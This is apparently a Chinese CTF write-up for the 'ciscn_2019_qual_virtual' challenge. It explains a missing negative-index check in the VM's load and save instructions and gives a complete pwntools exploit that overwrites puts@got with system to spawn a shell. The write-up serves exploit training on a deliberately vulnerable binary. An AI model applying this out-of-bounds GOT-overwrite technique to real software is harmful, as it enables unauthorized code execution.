Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

checksec:

没开PIE IDA64打开:

整理一下函数内容如上

先看stack_create函数:

其中ptr对应的结构体为:

1
2
3
4
5
6
7
struct segment_chunk
{
char *segment;
unsigned int size;
int top;
};

segment用来存储申请的堆的地址,size用于存储堆的大小,top则是这个利用堆实现的栈的栈顶

总共创建了三个这样的栈,v5,v6和v7

看opcode函数:

是对输入的指令进行了分割,总共八条指令

再看看最关键的execute函数:

其中有两个重要的函数,一个是take_value 一个是set_value,是实现了结构体层面的出入栈

举个例子:

这个pop的实现是用take_value从a2的栈顶取出值放到v3再把v3放进a1栈顶

有漏洞的函数是load和save:

load将a1栈顶取出的值(a1[v2])再放到a1[0]上

save将a1[v2]的值设为v3

它们都没有对负数的检查,可以越界读写

思路是先利用越界写把data段的结构体指向地址改成GOT表的位置

再利用读取把puts的GOT表修改成free的GOT,再加上一个偏移将puts的GOT表修改为system的GOT

这样在把开头的程序名s写成/bin/sh时:

执行puts(s)的时候就会执行system(“/bin/sh”)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *
from struct import pack
import time
import random
from ctypes import *
# context.log_level = 'debug'
# context.terminal = ['gnome-terminal','-x','bash','-c']
# context(arch='amd64', os='linux')
context(log_level='debug',arch='amd64', os='linux')
p = process('./ciscn_2019_qual_virtual')
#p = remote("node5.buuoj.cn", 25563)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('libc-2.23.so')
s = libc.symbols["system"] - libc.symbols["free"]
print(s)
#gdb.attach(p)
pause()
p.sendlineafter("name:\n", b'/bin/sh\x00')
p.sendlineafter("instruction:\n", b'push push push push push save push load push add')
#push push push:to ensure the load operation will be written in puts@got
#push push save:edit segement address of data's strcture (jump to GOT table)
#push load:load free_hook's libc to stack's top(puts@got)
#push add:offset to system (libc.symbols["system"] - libc.symbols["free"])
pause()
p.sendlineafter("data:\n", b'0 0 0 4210696 -6 0 -345712')


p.interactive()


评论